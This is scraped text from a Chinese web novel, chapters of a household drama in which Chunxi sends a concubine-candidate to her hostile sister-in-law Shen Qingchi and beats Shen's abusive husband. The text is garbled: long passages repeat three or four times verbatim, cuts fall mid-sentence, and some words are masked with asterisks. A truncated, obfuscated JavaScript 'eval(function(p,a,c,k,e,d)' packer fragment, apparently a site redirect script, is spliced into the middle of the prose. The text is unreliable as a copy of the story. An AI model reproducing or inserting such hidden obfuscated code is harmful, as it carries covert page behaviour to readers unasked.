春喜疑惑,沈清渊冷着脸,哀怨地瞪了她一眼:“夫人未经允许替我收下的人呢?” 春喜挑眉:“我的确收了个人,但谁说我是替夫君收的?” 墨纸砚,最后又提醒了莹儿一遍:“妹妹可想好了,这**契是要拿到官府去盖印上册的,一旦入了奴籍,你就处处低人一等,日后只能听凭我发落了。” 莹儿舔舔唇,到底还是有些紧张,但说出来的话却是:“姐姐不也是在卫家做了多年丫鬟才有今日的吗?” 言下之意,春喜能做到的事,她也能做到。 春喜暗暗啧了一声。 她原本觉得自己挺自强不屈的,没想到在莹儿这里竟然是这样的形象。 不过莫氏当年就是爬床上位的,如今还有个有样学样的沈清迟,莹儿被带歪怎么都不能算是她的错。 这般想着,春喜不再多言,写下**契让莹儿签字画押,最后让阿鲤拿了十两银子给沈金花。 “人我已经收下了,小姑还有其他的事吗?” “……” 这**契签得太快,沈金花根本来不及阻止,看着春喜那张脸,沈金花就忍不住眼皮狂跳。 沈金花不敢久留,假模假样地叮嘱了莹儿几句就匆匆离开。 她得赶紧回去跟大嫂通个气,万一日后曹春喜坑了莹儿,那可跟她没有关系。 —— 越西和昭陵互通商贸的事基本谈定,使臣团决定三日后离京,宫里今日设了宴,沈清渊回来得稍晚了些。 他刚穿过前厅,就碰上提着灯笼来接他的阿鲤。 看着那暖黄的灯笼光亮,沈清渊唇角微扬,温声问:“今日夫人去萧家可有发生什么事?几时回家的?晚饭吃得可好?” 阿鲤把春喜买了羊肉去萧家吃涮羊肉,出来时碰到卫凌泽,把卫凌泽骂了一通的事细细说了一遍。 沈清渊听完,眸底闪过冷意。 失忆还夺舍,卫凌泽这手段真是越来越下作了。 阿鲤并未停下,说完卫凌泽,又说了沈金花送人来的事。 听到春喜把人留下了,沈清渊停下步子,有些不敢置信地又问了一遍:“夫人当真把人留下了?” 阿鲤点头:“是的,不过夫人让她签了**契,这样以后就算她得了宠,也不能爬到夫人头上去。” “……” 沈清渊周身的气息陡然变冷,阿鲤还想说些什么,沈清渊直接抢走他手里的灯笼,沉沉道:“我自己回主院,你去休息吧。” 话落,沈清渊大步朝主院走去,不过转瞬,就把阿鲤远远甩在后面。 阿鲤:“……” 他不会是说错什么话了吧,怎么感觉大人像是要赶回主院吃了夫人? 可是夫人也没说这些事不能跟大人说啊。 主院里,春喜已沐浴完,正坐在火盆边烘头发,顺便看上一季的账簿。 萧老夫人给的那批掌柜能力很强,之前在莫氏手中生意平平的店如今盈利明显多了不少,她之前买的田地今年没有收成,庄子上新招了管事和佃户,这才刚除完杂草,翻了土,等明年开春再播种。 虽然没有收成,但临近年关,该发的福利还是不能少的。 春喜正琢磨着要发多少比较好,沈清渊就推开房门走了进来。 外面似乎又下起了雪,门一开,凛冽的冷风就灌了进来。 春喜打了个激灵,而后放下账簿,笑盈盈地朝沈清渊走去:“夫君,你回来啦。” 沈清渊没有像平日那样给春喜回应,他先冷着脸环视了一圈,最后才把目光落在春喜脸上:“人呢?” “什么人?” 春喜疑惑,沈清渊冷着脸,哀怨地瞪了她一眼:“夫人未经允许替我收下的人呢?” 春喜挑眉:“我的确收了个人,但谁说我是替夫君收的?” 第260章 刀子落在自己身上知道疼了? 春喜来了太傅府。 听到这个消息的时候,沈清迟刚喝完安胎药。 是她暗示宁氏**春喜的娘和侄儿的,她本以为春喜必死无疑,没想到春喜不仅活着回来了,宁氏还把她供了出来。 她没有干坏事的经验,自己吓得不轻,被关进大理寺没两日就病了。 谋害长嫂是重罪,她本以为自己就这样完了,没想到太傅府竟然拿了一万两银子赎她。 回府那日,她只见到了云晚棠。 五婶没有怪她,只说她太傻,而后用力地抱住了她。 仓皇不安的心有了依仗,她一下子痛哭出声,心中越发觉得五婶才是这世上唯一对她好的人。 在家休养了几日,她的病虽然好了,但胎象有些不稳,每日都要喝安胎药,这会儿听到春喜来了太傅府,沈清迟的心脏不由得快了些,肚皮跟着微微发紧。 沈清迟摸了摸肚子,柔声安慰:“乖,别怕,娘会保护你的。” 让丫鬟给自己换了身更端庄华贵的衣服,又化了个精致的妆容,沈清迟才慢吞吞地去往前厅。 和沈清迟的刻意装扮不同,春喜粉黛未施,姿态随意,但红润的气色和微微长胖的脸颊都说明她这段时间过得很好。 而且这一次见面,沈清迟明显发现春喜整个人都变得贵气了起来。 那种贵气不是靠衣着配饰衬托出来的,而是由内自外,浑然天成。 沈清迟捏紧绢帕,她原本盼着春喜看到自己过得好,会愤怒扎心,这会儿却不自觉生出自卑来。 她娘上位的手段虽然令人不齿,但她也是侯府正经的嫡出小姐,她的出身比春喜高,理应比春喜过得更好才是,为什么如今在春喜面前却是相形见绌? 心中不甘,沈清迟的表情跟着沉了些,开口也不客气:“你来做什么?” 反正她暗示宁氏**春喜娘家人的事已经败露,她也不用再在春喜面前演了。 听到这话,春喜掀眸看过来,似笑非笑:“我以为妹妹进了趟大理寺应该已经知道自己错在哪里了,眼下看来妹妹不仅死不悔改,连最基本的规矩教养都忘了呢。” 春喜这声妹妹叫得自然又讽刺,沈清迟心头一痛,忍不住反驳:“大嫂何曾把我当妹妹看过,我走到今日不都是因为大嫂吗?” 说完这句话,沈清迟红了眼,对春喜的怨恨几乎要溢出眼眶。 春喜并不觉得沈清迟走到今天和自己有什么关系,她面不改色道:“你想害死我,我知道你出狱还来关心你,就 算你是我一母同胞的亲妹妹,我这样做也够意思了吧?” 沈清迟不相信春喜是来关心自己的,她压下情绪没让自己哭出来,冷冷开口:“大嫂向来无事不登三宝殿,你今日来到底想要做什么不妨直说。” “啧啧啧,妹妹这话说得真叫人寒心啊。” 春喜露出心痛之色,说到最后,语调拉长,阴阳怪气得很。 沈清迟气得咬牙。 她都懒得演了,曹春喜还在这里演什么? “曹春喜,你到底要做什么?” 沈清迟到底憋不住,愤怒质问,春喜这才勾唇开口:“我刚刚不是说了吗,我是特意来关心妹妹的。” “我在太傅府过得很好,用不着你关心。” 沈清迟直接拒绝,春喜幽幽道:“怎么不用呢,妹妹是靠着腹中孩子被扶正的,这孩子可不能出任何差错,最近几个月妹妹都不能和妹夫同房,妹夫正年轻气盛如何憋得住,这外面的狐狸精哪有自己人可靠,所以我今日是专程给妹妹送娘家人来的。” 春喜把沈金花昨日劝自己的话都学了过来,沈清迟反应过来后气得浑身发抖。 她就知道曹春喜没安好心! “这是我的事,用不着你管!” 沈清迟咬牙低吼,春喜稳坐如山,并不动弹:“我真的是一片好心,妹妹应该知道,这世道生女儿没用,得生儿子才行,妹妹身子骨弱,万一怀的是女儿,生的时候又伤了元气,日后在这府里的日子就难熬了,有娘家人帮你分担总归是好的。” 春喜这番话,戳中了沈清迟。 从大理寺回来后,李继贤对她又冷淡下来,大夫说了胎象不稳万万不可同房,她也不敢去找李继贤,每日都很担心肚子里的孩子出事,或者生下来发现是女儿,那她在太傅府的依仗就没有了。 可即便如此,她也不能接纳别的女人跟她共事一夫啊。 她还这么年轻,好好调养一下,总能生出儿子的! 沈清迟觉得春喜现在碍眼极了,她不想再跟春喜多说一句话,沉声怒道:“曹春喜,你给我滚!” 沈清迟已经恼羞成怒,但说出来的话对春喜没什么威慑力,她连屁股都没有挪动半分,挑眉道:“妹妹这就气急败坏了,不是你先回侯府说我到处找方子要孩子的吗?这刀子落自己身上你才知道疼啊?” 春喜都没出去造谣说她身体有毛病,难以有孕,这才哪儿到哪儿啊。 听到春喜提起这事,沈清迟冷静了些,她绷着脸说:“我说的都是事实,你的确去 医馆找那个大夫要了方子,你若是不敢承认,我可以陪你去医馆找大夫当面对质。” “我没说不认啊,”春喜弯眸,“妹妹关心我,我也关心妹妹,礼尚往来,不应该吗?” “……” 沈清迟抿唇,正要让人把春喜轰出去,云晚棠走入前厅。 “迟儿,发生什么事了,你的眼睛怎么这么红?” 云晚棠没有跟春喜打招呼,开口都是对沈清迟的关心。 沈清迟感觉自己有了依仗,顿时委屈起来,拉着云晚棠告状:“五婶,大嫂要塞人给夫君做妾!” 云晚棠立刻看向春喜:“迟儿能从大理寺出来,说明大理寺已经不追究她之前犯下的错,还请沈夫人得饶人处且饶人。” 云晚棠的语气充满正义,显得春喜步步紧逼,盛气凌人。 春喜挑眉,迎上云晚棠的目光:“妹婿这段时间一直流连花街柳巷,我是怕他染上什么病回来害了妹妹,所以好心送人来,你们太傅府不心疼她,我这个娘家大嫂还不能心疼她吗?” 春喜的话让沈清迟浑身一颤,脸色都跟着发白。 五婶说她这次犯了大错,夫君有些冷落她也很正常,她不该缠着夫君,应该好好保住腹中的孩子,等孩子生下来就好了。 可五婶从没说过夫君最近都在花街柳巷。 曹春喜是故意骗她的吧? 医馆找那个大夫要了方子,你若是不敢承认,我可以陪你去医馆找大夫当面对质。” “我没说不认啊,”春喜弯眸,“妹妹关心我,我也关心妹妹,礼尚往来,不应该吗?” “……” 沈清迟抿唇,正要让人把春喜轰出去,云晚棠走入前厅。 “迟儿,发生什么事了,你的眼睛怎么这么红?” 云晚棠没有跟春喜打招呼,开口都是对沈清迟的关心。 沈清迟感觉自己有了依仗,顿时委屈起来,拉着云晚棠告状:“五婶,大嫂要塞人给夫君做妾!” 云晚棠立刻看向春喜:“迟儿能从大理寺出来,说明大理寺已经不追究她之前犯下的错,还请沈夫人得饶人处且饶人。” 云晚棠的语气充满正义,显得春喜步步紧逼,盛气凌人。 春喜挑眉,迎上云晚棠的目光:“妹婿这段时间一直流连花街柳巷,我是怕他染上什么病回来害了妹妹,所以好心送人来,你们太傅府不心疼她,我这个娘家大嫂还不能心疼她吗?” 春喜的话让沈清迟浑身一颤,脸色都跟着发白。 五婶说她这次犯了大错,夫君有些冷落她也很正常,她不该缠着夫君,应该好好保住腹中的孩子,等孩子生下来就好了。 可五婶从没说过夫君最近都在花街柳巷。 曹春喜是故意骗她的吧? 医馆找那个大夫要了方子,你若是不敢承认,我可以陪你去医馆找大夫当面对质。” “我没说不认啊,”春喜弯眸,“妹妹关心我,我也关心妹妹,礼尚往来,不应该吗?” “……” 沈清迟抿唇,正要让人把春喜轰出去,云晚棠走入前厅。 “迟儿,发生什么事了,你的眼睛怎么这么红?” 云晚棠没有跟春喜打招呼,开口都是对沈清迟的关心。 沈清迟感觉自己有了依仗,顿时委屈起来,拉着云晚棠告状:“五婶,大嫂要塞人给夫君做妾!” 云晚棠立刻看向春喜:“迟儿能从大理寺出来,说明大理寺已经不追究她之前犯下的错,还请沈夫人得饶人处且饶人。” 云晚棠的语气充满正义,显得春喜步步紧逼,盛气凌人。 春喜挑眉,迎上云晚棠的目光:“妹婿这段时间一直流连花街柳巷,我是怕他染上什么病回来害了妹妹,所以好心送人来,你们太傅府不心疼她,我这个娘家大嫂还不能心疼她吗?” 春喜的话让沈清迟浑身一颤,脸色都跟着发白。 五婶说她这次犯了大错,夫君有些冷落她也很正常,她不该缠着夫君,应该好好保住腹中的孩子,等孩子生下来就好了。 可五婶从没说过夫君最近都在花街柳巷。 曹春喜是故意骗她的吧? 医馆找那个大夫要了方子,你若是不敢承认,我可以陪你去医馆找大夫当面对质。” “我没说不认啊,”春喜弯眸,“妹妹关心我,我也关心妹妹,礼尚往来,不应该吗?” “……” 沈清迟抿唇,正要让人把春喜轰出去,云晚棠走入前厅。 “迟儿,发生什么事了,你的眼睛怎么这么红?” 云晚棠没有跟春喜打招呼,开口都是对沈清迟的关心。 沈清迟感觉自己有了依仗,顿时委屈起来,拉着云晚棠告状:“五婶,大嫂要塞人给夫君做妾!” 云晚棠立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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医馆找那个大夫要了方子,你若是不敢承认,我可以陪你去医馆找大夫当面对质。” “我没说不认啊,”春喜弯眸,“妹妹关心我,我也关心妹妹,礼尚往来,不应该吗?” “……” 沈清迟抿唇,正要让人把春喜轰出去,云晚棠走入前厅。 “迟儿,发生什么事了,你的眼睛怎么这么红?” 云晚棠没有跟春喜打招呼,开口都是对沈清迟的关心。 沈清迟感觉自己有了依仗,顿时委屈起来,拉着云晚棠告状:“五婶,大嫂要塞人给夫君做妾!” 云晚棠立刻看向春喜:“迟儿能从大理寺出来,说明大理寺已经不追究她之前犯下的错,还请沈夫人得饶人处且饶人。” 云晚棠的语气充满正义,显得春喜步步紧逼,盛气凌人。 春喜挑眉,迎上云晚棠的目光:“妹婿这段时间一直流连花街柳巷,我是怕他染上什么病回来害了妹妹,所以好心送人来,你们太傅府不心疼她,我这个娘家大嫂还不能心疼她吗?” 春喜的话让沈清迟浑身一颤,脸色都跟着发白。 五婶说她这次犯了大错,夫君有些冷落她也很正常,她不该缠着夫君,应该好好保住腹中的孩子,等孩子生下来就好了。 可五婶从没说过夫君最近都在花街柳巷。 曹春喜是故意骗她的吧? 医馆找那个大夫要了方子,你若是不敢承认,我可以陪你去医馆找大夫当面对质。” “我没说不认啊,”春喜弯眸,“妹妹关心我,我也关心妹妹,礼尚往来,不应该吗?” “……” 沈清迟抿唇,正要让人把春喜轰出去,云晚棠走入前厅。 “迟儿,发生什么事了,你的眼睛怎么这么红?” 云晚棠没有跟春喜打招呼,开口都是对沈清迟的关心。 沈清迟感觉自己有了依仗,顿时委屈起来,拉着云晚棠告状:“五婶,大嫂要塞人给夫君做妾!” 云晚棠立刻看向春喜:“迟儿能从大理寺出来,说明大理寺已经不追究她之前犯下的错,还请沈夫人得饶人处且饶人。” 云晚棠的语气充满正义,显得春喜步步紧逼,盛气凌人。 春喜挑眉,迎上云晚棠的目光:“妹婿这段时间一直流连花街柳巷,我是怕他染上什么病回来害了妹妹,所以好心送人来,你们太傅府不心疼她,我这个娘家大嫂还不能心疼她吗?” 春喜的话让沈清迟浑身一颤,脸色都跟着发白。 五婶说她这次犯了大错,夫君有些冷落她也很正常,她不该缠着夫君,应该好好保住腹中的孩子,等孩子生下来就好了。 可五婶从没说过夫君最近都在花街柳巷。 曹春喜是故意骗她的吧? 第261章 我来替妹妹主持公道 “曹春喜,这里不欢迎你,你给我滚!” 沈清迟害怕春喜口中说出更伤人的话,怒气冲冲地要她滚。 话音刚落,厅外传来李继贤的怒吼:“人呢,都死哪儿去了?” 沈清迟立刻跑出去,见李继贤鼻青脸肿地回来,吓了一跳:“夫君,你怎么受伤了,谁打你了?” 沈清迟关切地问着,伸手去拉李继贤的胳膊,李继贤以为沈清迟是故意来堵自己的,没好气地甩开她:“你不好好在院子里待着,跑出来做什么?” 李继贤正在气头上,下手没个轻重,沈清迟被他甩得一个踉跄,眼看要摔倒,春喜及时出现,扶住了她。 沈清迟松了口气,刚站稳,春喜便松开她,冲上去给了李继贤一巴掌。 啪的一声脆响,沈清迟被吓懵,闻声赶来的下人也都吓了一跳。 这位夫人是谁啊,怎么还跑到太傅府来**? 李继贤倒是很快反应过来,他本来就很生气,看清春喜的脸后就更生气了。 “**,你算什么东西也敢打我?” 李继贤说着朝春喜冲过来,春喜毫不犹豫,又给了他两脚,将他踹翻在地。 李继贤没想到春喜下手这么利落,蜷缩在地上痛呼起来。 “夫君,你没事吧?” 沈清迟回过神来,想要扑过去查看李继贤的伤势,被春喜拦住:“死不了,放心吧。” 沈清迟没有觉得春喜在帮她,反而怒瞪着春喜:“这可是太傅府,你凭什么乱**?” 沈清迟说完扬手,想帮李继贤把这一巴掌还回来。 春喜抓住她的手腕,幽幽道:“我在帮妹妹出头啊,妹妹还怀着身孕呢,妹夫不说怜惜妹妹,反而对妹妹动手,我这个做大嫂的怎能视而不见?” 春喜说得有理有据,沈清迟却只觉得她用心险恶,是故意让自己在夫家难堪,这般想着,沈清迟啐了春喜一口,厌恶地说:“我不用你假惺惺地在这儿多管闲事。” “这怎么能叫多管闲事呢,人家都说长嫂如母,我今日既然碰上了,自然是要好好为妹妹主持公道的。” 春喜说完松开沈清迟,继续活动手脚,俨然还没有打够。 沈清迟有点慌。 这次被关进大理寺她被吓坏了,出来以后本来不打算再招惹春喜的,但五婶好几次在她面前叹气说心疼卫凌泽这个侄儿,希望卫凌泽和萧清禾能和好。 五婶虽然没有提过春喜,但她就是觉得春喜在背后挑拨离间。 她实 在不愿见五婶这样忧心,在无意中得知春喜和萧清禾去医馆找过助孕的方子后,便悄悄让人散播了出去。 两人一起去医馆找方子,春喜如今都怀上了,萧清禾还一点儿动静都没有,可见自身问题很大,萧清禾生不出来,哪里还有脸拦着卫家养私生子? 怕春喜帮萧清禾澄清,她又回侯府说了春喜怀孕的事,暗示沈金花她们可以塞人给大哥做妾。 她其实并不指望沈金花能成功把人塞进去,只是想给春喜找点麻烦,好让春喜腾不出精力管别的闲事。 她想过春喜知道后找自己的麻烦,但她没想到春喜会转手把人送到太傅府来,还要端着长嫂的架子在太傅府**。 一时不知该如何应对,沈清迟捂着肚子痛呼起来:“啊……好疼!” “四少夫人不舒服,来人,快扶四少夫人回屋休息。” 云晚棠第一时间下令,春喜却先丫鬟一步扶住沈清迟。 沈清迟本来想作势晕倒的,但春喜力气太大,把她扶得稳稳的,她根本晕不过去,只能大声说:“我不要见到你,我肚子里的孩子也讨厌你,你走。” 沈清迟想拿肚子里的孩子为借口把春喜赶走,春喜却不肯放手,反而道:“傻妹妹,今日你受了这么大的委屈,娘家怎么能没有人在呢,你放心吧,我来时已经派人通知家里了,一会儿他们都会赶来为你做主的。” 春喜边说边扶着沈清迟往前走,云晚棠给身边婆子递了个眼色,婆子想来抢人,被春喜一脚踹翻:“都愣着做什么,还不快在前面带路,万一我妹妹和腹中孩子有个好歹,我要你们偿命!” 春喜的气势很强,顾忌到她现在也怀着孕,云晚棠没敢让人强行阻拦,只能让她扶着沈清迟回屋里休息。 府医很快赶来,诊治一番后说沈清迟动了胎气,又开了一副安胎药。 春喜一直坐在床边守着沈清迟,等药煎好送来,春喜接过后没喂给沈清迟,反而先送到自己嘴边。 沈清迟被她的举动惊到,忍不住开口:“这是给我的药,你这又是干什么?” “我知道是给你的,但为了防止有人害你然后嫁祸给我,当大嫂的先帮你试试毒。” 沈清迟:“……” 春喜先喝了一口,过了会儿感觉没什么异样,才拿给沈清迟。 沈清迟刚把药喝完,大夫人赵氏就和云晚棠一起来了。 赵氏是李继贤的亲娘,听闻儿子被春喜打了,儿媳也动了胎气,来得气势汹汹,刚跨进屋里就迫不及待地开口:“早就听闻沈夫人攀上了恒阳公主,仗着公主喜欢目中无人,我还以为是谣传,没想到沈夫人今日直接闯进太傅府**,真是让我大开眼界!” **的明明是春喜,赵氏一开口却把恒阳公主牵连了进来,怪会扣帽子的。 春喜没有急着辩解,只悠悠提问:“我来太傅府时就通知了侯府的人,按理他们早该到了,莫不是太傅府心虚,连门都不让亲家进?” 侯府不仅来人了,还是一家老小一起来的,浩浩荡荡好几十号人,这么大的声势,太傅府怕丢人,当然不敢把人拦在外面。 但怕春喜故意挑事,赵氏把人都稳在前厅,不想让他们跟春喜碰到一起。 赵氏没有回答春喜的问题,冷着脸质问:“你打了我儿,还害迟儿动了胎气,我还没找你算账呢,你把侯府的人叫来到底要干什么?” 春喜弯眸:“夫人不是要跟我算账吗,正好咱们两家坐下来,好好把账算清楚。” 赵氏:“……”??? 不是,你们有啥脸跟我们算账啊? 在不愿见五婶这样忧心,在无意中得知春喜和萧清禾去医馆找过助孕的方子后,便悄悄让人散播了出去。 两人一起去医馆找方子,春喜如今都怀上了,萧清禾还一点儿动静都没有,可见自身问题很大,萧清禾生不出来,哪里还有脸拦着卫家养私生子? 怕春喜帮萧清禾澄清,她又回侯府说了春喜怀孕的事,暗示沈金花她们可以塞人给大哥做妾。 她其实并不指望沈金花能成功把人塞进去,只是想给春喜找点麻烦,好让春喜腾不出精力管别的闲事。 她想过春喜知道后找自己的麻烦,但她没想到春喜会转手把人送到太傅府来,还要端着长嫂的架子在太傅府**。 一时不知该如何应对,沈清迟捂着肚子痛呼起来:“啊……好疼!” “四少夫人不舒服,来人,快扶四少夫人回屋休息。” 云晚棠第一时间下令,春喜却先丫鬟一步扶住沈清迟。 沈清迟本来想作势晕倒的,但春喜力气太大,把她扶得稳稳的,她根本晕不过去,只能大声说:“我不要见到你,我肚子里的孩子也讨厌你,你走。” 沈清迟想拿肚子里的孩子为借口把春喜赶走,春喜却不肯放手,反而道:“傻妹妹,今日你受了这么大的委屈,娘家怎么能没有人在呢,你放心吧,我来时已经派人通知家里了,一会儿他们都会赶来为你做主的。” 春喜边说边扶着沈清迟往前走,云晚棠给身边婆子递了个眼色,婆子想来抢人,被春喜一脚踹翻:“都愣着做什么,还不快在前面带路,万一我妹妹和腹中孩子有个好歹,我要你们偿命!” 春喜的气势很强,顾忌到她现在也怀着孕,云晚棠没敢让人强行阻拦,只能让她扶着沈清迟回屋里休息。 府医很快赶来,诊治一番后说沈清迟动了胎气,又开了一副安胎药。 春喜一直坐在床边守着沈清迟,等药煎好送来,春喜接过后没喂给沈清迟,反而先送到自己嘴边。 沈清迟被她的举动惊到,忍不住开口:“这是给我的药,你这又是干什么?” “我知道是给你的,但为了防止有人害你然后嫁祸给我,当大嫂的先帮你试试毒。” 沈清迟:“……” 春喜先喝了一口,过了会儿感觉没什么异样,才拿给沈清迟。 沈清迟刚把药喝完,大夫人赵氏就和云晚棠一起来了。 赵氏是李继贤的亲娘,听闻儿子被春喜打了,儿媳也动了胎气,来得气势汹汹,刚跨进屋里就迫不及待地开口:“早就听闻沈夫人攀上了恒阳公主,仗着公主喜欢目中无人,我还以为是谣传,没想到沈夫人今日直接闯进太傅府**,真是让我大开眼界!” **的明明是春喜,赵氏一开口却把恒阳公主牵连了进来,怪会扣帽子的。 春喜没有急着辩解,只悠悠提问:“我来太傅府时就通知了侯府的人,按理他们早该到了,莫不是太傅府心虚,连门都不让亲家进?” 侯府不仅来人了,还是一家老小一起来的,浩浩荡荡好几十号人,这么大的声势,太傅府怕丢人,当然不敢把人拦在外面。 但怕春喜故意挑事,赵氏把人都稳在前厅,不想让他们跟春喜碰到一起。 赵氏没有回答春喜的问题,冷着脸质问:“你打了我儿,还害迟儿动了胎气,我还没找你算账呢,你把侯府的人叫来到底要干什么?” 春喜弯眸:“夫人不是要跟我算账吗,正好咱们两家坐下来,好好把账算清楚。” 赵氏:“……”??? 不是,你们有啥脸跟我们算账啊? 在不愿见五婶这样忧心,在无意中得知春喜和萧清禾去医馆找过助孕的方子后,便悄悄让人散播了出去。 两人一起去医馆找方子,春喜如今都怀上了,萧清禾还一点儿动静都没有,可见自身问题很大,萧清禾生不出来,哪里还有脸拦着卫家养私生子? 怕春喜帮萧清禾澄清,她又回侯府说了春喜怀孕的事,暗示沈金花她们可以塞人给大哥做妾。 她其实并不指望沈金花能成功把人塞进去,只是想给春喜找点麻烦,好让春喜腾不出精力管别的闲事。 她想过春喜知道后找自己的麻烦,但她没想到春喜会转手把人送到太傅府来,还要端着长嫂的架子在太傅府**。 一时不知该如何应对,沈清迟捂着肚子痛呼起来:“啊……好疼!” “四少夫人不舒服,来人,快扶四少夫人回屋休息。” 云晚棠第一时间下令,春喜却先丫鬟一步扶住沈清迟。 沈清迟本来想作势晕倒的,但春喜力气太大,把她扶得稳稳的,她根本晕不过去,只能大声说:“我不要见到你,我肚子里的孩子也讨厌你,你走。” 沈清迟想拿肚子里的孩子为借口把春喜赶走,春喜却不肯放手,反而道:“傻妹妹,今日你受了这么大的委屈,娘家怎么能没有人在呢,你放心吧,我来时已经派人通知家里了,一会儿他们都会赶来为你做主的。” 春喜边说边扶着沈清迟往前走,云晚棠给身边婆子递了个眼色,婆子想来抢人,被春喜一脚踹翻:“都愣着做什么,还不快在前面带路,万一我妹妹和腹中孩子有个好歹,我要你们偿命!” 春喜的气势很强,顾忌到她现在也怀着孕,云晚棠没敢让人强行阻拦,只能让她扶着沈清迟回屋里休息。 府医很快赶来,诊治一番后说沈清迟动了胎气,又开了一副安胎药。 春喜一直坐在床边守着沈清迟,等药煎好送来,春喜接过后没喂给沈清迟,反而先送到自己嘴边。 沈清迟被她的举动惊到,忍不住开口:“这是给我的药,你这又是干什么?” “我知道是给你的,但为了防止有人害你然后嫁祸给我,当大嫂的先帮你试试毒。” 沈清迟:“……” 春喜先喝了一口,过了会儿感觉没什么异样,才拿给沈清迟。 沈清迟刚把药喝完,大夫人赵氏就和云晚棠一起来了。 赵氏是李继贤的亲娘,听闻儿子被春喜打了,儿媳也动了胎气,来得气势汹汹,刚跨进屋里就迫不及待地开口:“早就听闻沈夫人攀上了恒阳公主,仗着公主喜欢目中无人,我还以为是谣传,没想到沈夫人今日直接闯进太傅府**,真是让我大开眼界!” **的明明是春喜,赵氏一开口却把恒阳公主牵连了进来,怪会扣帽子的。 春喜没有急着辩解,只悠悠提问:“我来太傅府时就通知了侯府的人,按理他们早该到了,莫不是太傅府心虚,连门都不让亲家进?” 侯府不仅来人了,还是一家老小一起来的,浩浩荡荡好几十号人,这么大的声势,太傅府怕丢人,当然不敢把人拦在外面。 但怕春喜故意挑事,赵氏把人都稳在前厅,不想让他们跟春喜碰到一起。 赵氏没有回答春喜的问题,冷着脸质问:“你打了我儿,还害迟儿动了胎气,我还没找你算账呢,你把侯府的人叫来到底要干什么?” 春喜弯眸:“夫人不是要跟我算账吗,正好咱们两家坐下来,好好把账算清楚。” 赵氏:“……”??? 不是,你们有啥脸跟我们算账啊? 在不愿见五婶这样忧心,在无意中得知春喜和萧清禾去医馆找过助孕的方子后,便悄悄让人散播了出去。 两人一起去医馆找方子,春喜如今都怀上了,萧清禾还一点儿动静都没有,可见自身问题很大,萧清禾生不出来,哪里还有脸拦着卫家养私生子? 怕春喜帮萧清禾澄清,她又回侯府说了春喜怀孕的事,暗示沈金花她们可以塞人给大哥做妾。 她其实并不指望沈金花能成功把人塞进去,只是想给春喜找点麻烦,好让春喜腾不出精力管别的闲事。 她想过春喜知道后找自己的麻烦,但她没想到春喜会转手把人送到太傅府来,还要端着长嫂的架子在太傅府**。 一时不知该如何应对,沈清迟捂着肚子痛呼起来:“啊……好疼!” “四少夫人不舒服,来人,快扶四少夫人回屋休息。” 云晚棠第一时间下令,春喜却先丫鬟一步扶住沈清迟。 沈清迟本来想作势晕倒的,但春喜力气太大,把她扶得稳稳的,她根本晕不过去,只能大声说:“我不要见到你,我肚子里的孩子也讨厌你,你走。” 沈清迟想拿肚子里的孩子为借口把春喜赶走,春喜却不肯放手,反而道:“傻妹妹,今日你受了这么大的委屈,娘家怎么能没有人在呢,你放心吧,我来时已经派人通知家里了,一会儿他们都会赶来为你做主的。” 春喜边说边扶着沈清迟往前走,云晚棠给身边婆子递了个眼色,婆子想来抢人,被春喜一脚踹翻:“都愣着做什么,还不快在前面带路,万一我妹妹和腹中孩子有个好歹,我要你们偿命!” 春喜的气势很强,顾忌到她现在也怀着孕,云晚棠没敢让人强行阻拦,只能让她扶着沈清迟回屋里休息。 府医很快赶来,诊治一番后说沈清迟动了胎气,又开了一副安胎药。 春喜一直坐在床边守着沈清迟,等药煎好送来,春喜接过后没喂给沈清迟,反而先送到自己嘴边。 沈清迟被她的举动惊到,忍不住开口:“这是给我的药,你这又是干什么?” “我知道是给你的,但为了防止有人害你然后嫁祸给我,当大嫂的先帮你试试毒。” 沈清迟:“……” 春喜先喝了一口,过了会儿感觉没什么异样,才拿给沈清迟。 沈清迟刚把药喝完,大夫人赵氏就和云晚棠一起来了。 赵氏是李继贤的亲娘,听闻儿子被春喜打了,儿媳也动了胎气,来得气势汹汹,刚跨进屋里就迫不及待地开口:“早就听闻沈夫人攀上了恒阳公主,仗着公主喜欢目中无人,我还以为是谣传,没想到沈夫人今日直接闯进太傅府**,真是让我大开眼界!” **的明明是春喜,赵氏一开口却把恒阳公主牵连了进来,怪会扣帽子的。 春喜没有急着辩解,只悠悠提问:“我来太傅府时就通知了侯府的人,按理他们早该到了,莫不是太傅府心虚,连门都不让亲家进?” 侯府不仅来人了,还是一家老小一起来的,浩浩荡荡好几十号人,这么大的声势,太傅府怕丢人,当然不敢把人拦在外面。 但怕春喜故意挑事,赵氏把人都稳在前厅,不想让他们跟春喜碰到一起。 赵氏没有回答春喜的问题,冷着脸质问:“你打了我儿,还害迟儿动了胎气,我还没找你算账呢,你把侯府的人叫来到底要干什么?” 春喜弯眸:“夫人不是要跟我算账吗,正好咱们两家坐下来,好好把账算清楚。” 赵氏:“……”??? 不是,你们有啥脸跟我们算账啊? 在不愿见五婶这样忧心,在无意中得知春喜和萧清禾去医馆找过助孕的方子后,便悄悄让人散播了出去。 两人一起去医馆找方子,春喜如今都怀上了,萧清禾还一点儿动静都没有,可见自身问题很大,萧清禾生不出来,哪里还有脸拦着卫家养私生子? 怕春喜帮萧清禾澄清,她又回侯府说了春喜怀孕的事,暗示沈金花她们可以塞人给大哥做妾。 她其实并不指望沈金花能成功把人塞进去,只是想给春喜找点麻烦,好让春喜腾不出精力管别的闲事。 她想过春喜知道后找自己的麻烦,但她没想到春喜会转手把人送到太傅府来,还要端着长嫂的架子在太傅府**。 一时不知该如何应对,沈清迟捂着肚子痛呼起来:“啊……好疼!” “四少夫人不舒服,来人,快扶四少夫人回屋休息。” 云晚棠第一时间下令,春喜却先丫鬟一步扶住沈清迟。 沈清迟本来想作势晕倒的,但春喜力气太大,把她扶得稳稳的,她根本晕不过去,只能大声说:“我不要见到你,我肚子里的孩子也讨厌你,你走。” 沈清迟想拿肚子里的孩子为借口把春喜赶走,春喜却不肯放手,反而道:“傻妹妹,今日你受了这么大的委屈,娘家怎么能没有人在呢,你放心吧,我来时已经派人通知家里了,一会儿他们都会赶来为你做主的。” 